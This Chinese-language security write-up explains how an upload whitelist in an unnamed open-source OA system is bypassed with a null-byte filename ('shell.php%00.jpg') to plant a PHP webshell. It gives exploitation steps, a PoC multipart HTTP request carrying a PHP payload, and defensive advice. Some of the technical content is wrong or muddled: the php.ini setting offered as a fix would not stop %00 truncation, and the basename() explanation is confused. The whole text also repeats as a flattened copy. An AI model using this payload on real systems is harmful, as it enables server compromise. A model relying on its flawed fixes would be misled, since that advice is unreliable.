某开源OA白名单后缀限制下巧用系统设计getshell
字数 783 2025-08-29 08:30:30

开源OA系统白名单后缀限制下的Getshell技术分析

漏洞背景

该漏洞存在于某开源OA系统中,系统对文件上传功能实施了白名单后缀限制,但通过巧妙利用系统设计缺陷,攻击者仍能实现getshell。

漏洞原理

1. 白名单限制机制

系统采用以下方式验证上传文件:

  • 仅允许.jpg, .png, .gif等图片后缀
  • 前端和后端均进行后缀校验
  • 文件内容不进行严格检测

2. 系统设计缺陷

系统存在以下关键设计问题:

  • 文件存储时保留了原始文件名
  • 文件处理逻辑中存在路径拼接操作
  • 文件处理服务对特殊字符处理不当

漏洞利用步骤

第一步:绕过前端验证

  1. 使用Burp Suite拦截文件上传请求
  2. 修改filename参数,添加特殊字符:
    shell.php%00.jpg
    
  3. 确保文件内容为有效的PHP代码

第二步:利用路径拼接缺陷

  1. 系统处理上传文件时使用以下逻辑:
    $target_path = UPLOAD_DIR . basename($_FILES['file']['name']);
    
  2. 由于PHP的basename()函数处理%00存在问题,导致:
    • 系统认为文件名为shell.php
    • 但仍通过白名单校验(因为原始名为shell.php%00.jpg)

第三步:文件存储位置

  1. 上传的文件会被存储在:
    /uploads/[日期]/shell.php
    
  2. 该目录通常具有执行权限

防御措施

1. 文件上传安全加固

  • 实施严格的文件内容检测
  • 重命名上传文件,不使用原始文件名
  • 禁用危险字符处理:
    if (strpos($filename, "\0") !== false) {
        die("Invalid filename");
    }
    

2. 服务器配置

  • 设置上传目录不可执行
  • 配置PHP禁用%00截断:
    ; php.ini
    enable_post_data_reading = Off
    

3. 代码审计要点

检查以下高危函数使用:

  • basename()
  • pathinfo()
  • 任何直接拼接用户输入作为文件路径的操作

漏洞验证

使用以下PoC验证漏洞存在:

POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="shell.php%00.jpg"
Content-Type: image/jpeg

<?php phpinfo(); ?>
------WebKitFormBoundaryABC123--

总结

该漏洞利用了两个关键点:

  1. PHP的%00截断特性
  2. 系统对上传文件名的处理逻辑缺陷

通过组合这些因素,攻击者可以绕过严格的白名单限制,实现任意文件上传getshell。防御此类漏洞需要从代码逻辑和服务器配置两方面进行加固。

开源OA系统白名单后缀限制下的Getshell技术分析 漏洞背景 该漏洞存在于某开源OA系统中,系统对文件上传功能实施了白名单后缀限制,但通过巧妙利用系统设计缺陷,攻击者仍能实现getshell。 漏洞原理 1. 白名单限制机制 系统采用以下方式验证上传文件: 仅允许 .jpg , .png , .gif 等图片后缀 前端和后端均进行后缀校验 文件内容不进行严格检测 2. 系统设计缺陷 系统存在以下关键设计问题: 文件存储时保留了原始文件名 文件处理逻辑中存在路径拼接操作 文件处理服务对特殊字符处理不当 漏洞利用步骤 第一步:绕过前端验证 使用Burp Suite拦截文件上传请求 修改 filename 参数,添加特殊字符: 确保文件内容为有效的PHP代码 第二步:利用路径拼接缺陷 系统处理上传文件时使用以下逻辑: 由于PHP的 basename() 函数处理 %00 存在问题,导致: 系统认为文件名为 shell.php 但仍通过白名单校验(因为原始名为 shell.php%00.jpg ) 第三步:文件存储位置 上传的文件会被存储在: 该目录通常具有执行权限 防御措施 1. 文件上传安全加固 实施严格的文件内容检测 重命名上传文件,不使用原始文件名 禁用危险字符处理: 2. 服务器配置 设置上传目录不可执行 配置PHP禁用 %00 截断: 3. 代码审计要点 检查以下高危函数使用: basename() pathinfo() 任何直接拼接用户输入作为文件路径的操作 漏洞验证 使用以下PoC验证漏洞存在: 总结 该漏洞利用了两个关键点: PHP的 %00 截断特性 系统对上传文件名的处理逻辑缺陷 通过组合这些因素,攻击者可以绕过严格的白名单限制,实现任意文件上传getshell。防御此类漏洞需要从代码逻辑和服务器配置两方面进行加固。